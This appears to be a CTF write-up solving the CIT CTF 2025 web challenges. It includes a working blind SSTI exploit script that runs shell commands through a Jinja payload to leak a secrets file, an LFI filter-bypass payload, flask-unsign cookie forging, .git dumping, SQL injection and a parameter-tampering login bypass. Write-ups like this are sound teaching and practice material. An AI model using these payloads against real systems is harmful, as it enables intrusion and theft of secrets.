4 minutes
[CIT CTF 2025] Solving all Web challenges
Hello, I joined the CTF for fun during the weekend.
I focused on web challenges and completed all challenges in this category. The challenges were straightforward and made for a fun weekend.
Mr. Chatbot
The application shows a welcome page asking for your name, then puts you in a chat with a bot. The goal was to get the Flag from the bot. This wasn’t an LLM attack — responses came from JavaScript files.
After entering a name, you get a session value that can be decoded with flask-unsign:
$ flask-unsign --unsign --cookie "eyJhZG1pbiI6IjAiLCJuYW1lIjoiaGFja2VyIn0.aA8u-Q.GRwPzCvfn4k_zUDDzo_XL83fKJk" --secret="9f3IC3uj9^zZ"
[*] Session decodes to: {'admin': '0', 'name': 'hacker'}
After trying injections with no luck, I did parameter fuzzing and found the admin=1
parameter. This revealed new session data:
$ flask-unsign --unsign --cookie ".eJwdzE0LgjAAxvHvsksEHVoJUdEpe7M2C2S63cyJTacIFprRd--x2397ftuHxLo0FVkRSiakissUmT6TOm6aVo_G63GGO43tZTSmy0xM5XvZyoj3enarzkFjzqF-3ENRSCNz1heL6PiwzHaO7LMaXfJ956hwn6QHUVzQfqDQrL3SbjpYTmFzL0ndguKc822NfUe5Haz2omPWMfpvGJsrtAoEzMmBNwpOuXZ4M4d1fAEb_v-be4b1ftBsyPcHZ6hN0g.aAwwvA.ouiTuVJ131_fQmyqYgewMTM-ZlM" --secret="9f3IC3uj9^zZ"
[*] Session decodes to: {'admin': '1', 'name': "hacker", 'uid': 'L2V0Yy9wYXNzd2QnKTsiKWdhbWVkYiYjMzk7XHhlMlx4YzgpXHhmNFx4ZWFceGVkLFx4OTZceGMwP1x0XHhlN1x4YjJceDk1XHhjNCpceGE1Nlx4OTdJXHgxM1x4OTdceDljZ1x4ZTVceGI4XHhiZlx4ZDlceGE3XHg4OVx4OWJceDk3JiMzOTs='}
As you see there’s a new variable (UID), I tried doing some injections like SSTI and got it :)
Well The idea now to get secrets.txt file blindly, I wrote a script that uses head command if char is valid then sleep 5 seconds
import requests
import string
import time
CHARS = string.printable
FOUND = ""
POSITION = len(FOUND) + 1
def make_payload(position, the_char):
# Use a simple command to compare single character
cmd = f'[ "$(head -c {position} secrets.txt | tail -c 1)" = "{the_char}" ] && sleep 5'
payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('"+cmd+"').read() }}"
return payload
def exploit():
global FOUND, POSITION
# Continue until we've found enough characters or need to stop
max_positions = 100 # Set a reasonable limit
consecutive_spaces = 0 # Track consecutive spaces to detect end of file
while POSITION <= max_positions and consecutive_spaces < 5: # Stop after 5 consecutive spaces
found_char = False
for ch in CHARS:
if ch in ['"', '\\', '`', '$', '&', '|', ';', '\n', '\r']: # Skip problematic chars
continue
print(f"Position {POSITION}, trying character: {ch}")
start_time = time.time()
try:
r = requests.post(
"http://23.179.17.40:58005/",
allow_redirects=False,
data={"name": make_payload(POSITION, ch), "admin": "1"},
proxies={"http": "http://localhost:8080"},
timeout=10
)
elapsed_time = time.time() - start_time
if elapsed_time >= 4.5: # Slightly lower threshold to account for network variability
FOUND += ch
found_char = True
# Reset consecutive spaces counter if we found a non-space
if ch != ' ':
consecutive_spaces = 0
else:
consecutive_spaces += 1
print(f"Found character at position {POSITION}: {ch}")
print(f"Current secret: {FOUND}")
break
except requests.exceptions.Timeout:
# If timeout occurs, the character matched
FOUND += ch
found_char = True
# Reset consecutive spaces counter if we found a non-space
if ch != ' ':
consecutive_spaces = 0
else:
consecutive_spaces += 1
print(f"Found character at position {POSITION} (timeout): {ch}")
print(f"Current secret: {FOUND}")
break
except Exception as e:
print(f"Error with character {ch} at position {POSITION}: {e}")
if not found_char:
FOUND += " "
consecutive_spaces += 1
print(f"No character found at position {POSITION}, adding space and continuing")
print(f"Current secret: {FOUND}")
print(f"Consecutive spaces: {consecutive_spaces}")
POSITION += 1
time.sleep(1)
def main():
print(f"Starting blind exploitation from existing credentials: {FOUND}")
print(f"Starting at position: {POSITION}")
exploit()
print(f"Final extracted secret: {FOUND}")
if __name__ == "__main__":
main()
And after running it got the flag :)
$ python exp.py
admin:9f3IC3uj9^zZ CIT{18a7fbedb4f3548f}
How I Parsed your JSON
This challenge reads JSON files locally and provides a SQL-like syntax to extract data. You can add *
to the query to extract all columns.
The useful finding was converting the container
parameter into a list with ?container[]=
. This showed a debug page with source code.
The code simply removes ../
and file extensions from the container name to prevent LFI. This can be bypassed with ..//file.txt.txt
.
/select?record=*&container=../../../..//app//secrets.txt.txt
Commit & Order: Version Control Unit
This challenge was straightforward. I discovered an exposed /.git
directory on the server and dumped the repository using the git-dump tool.
After examining the commit history, I found older commits that contained the source code with hardcoded admin credentials. This is a common security mistake where developers remove sensitive information in later commits but forget that the data remains accessible in the Git history.
The steps to solve were:
- Identify the exposed Git repository at
/.git
- Download the repository using git-dump
- Review commit history with
git log
- Check older commits with
git show [commit-hash]
- Find the source code file containing the hardcoded admin password in admin.php
- Use the credentials to access the admin panel and retrieve the flag
Breaking Authentication
This challenge featured a straightforward SQL injection vulnerability in the login page.
Steps to solve:
- Accessed the database and dumped its contents
- Found the flag stored in the ‘secrets’ table
Classic example of an unsanitized input field allowing SQL injection to compromise a web application’s authentication mechanism.
Keeping Up with the Credentials
This challenge required first solving another challenge to obtain valid username and password credentials.
Steps to solve:
- Used credentials obtained from the previous challenge to log in
- After login, got redirected to
/debug.php
which was an empty page - Noticed that accessing
/admin.php
directly would automatically log you out - Modified the login request to include the parameter
admin=true
using POST method - Successfully redirected to
/admin.php
with admin privileges - Retrieved the flag from the admin page
Pretty Simple :v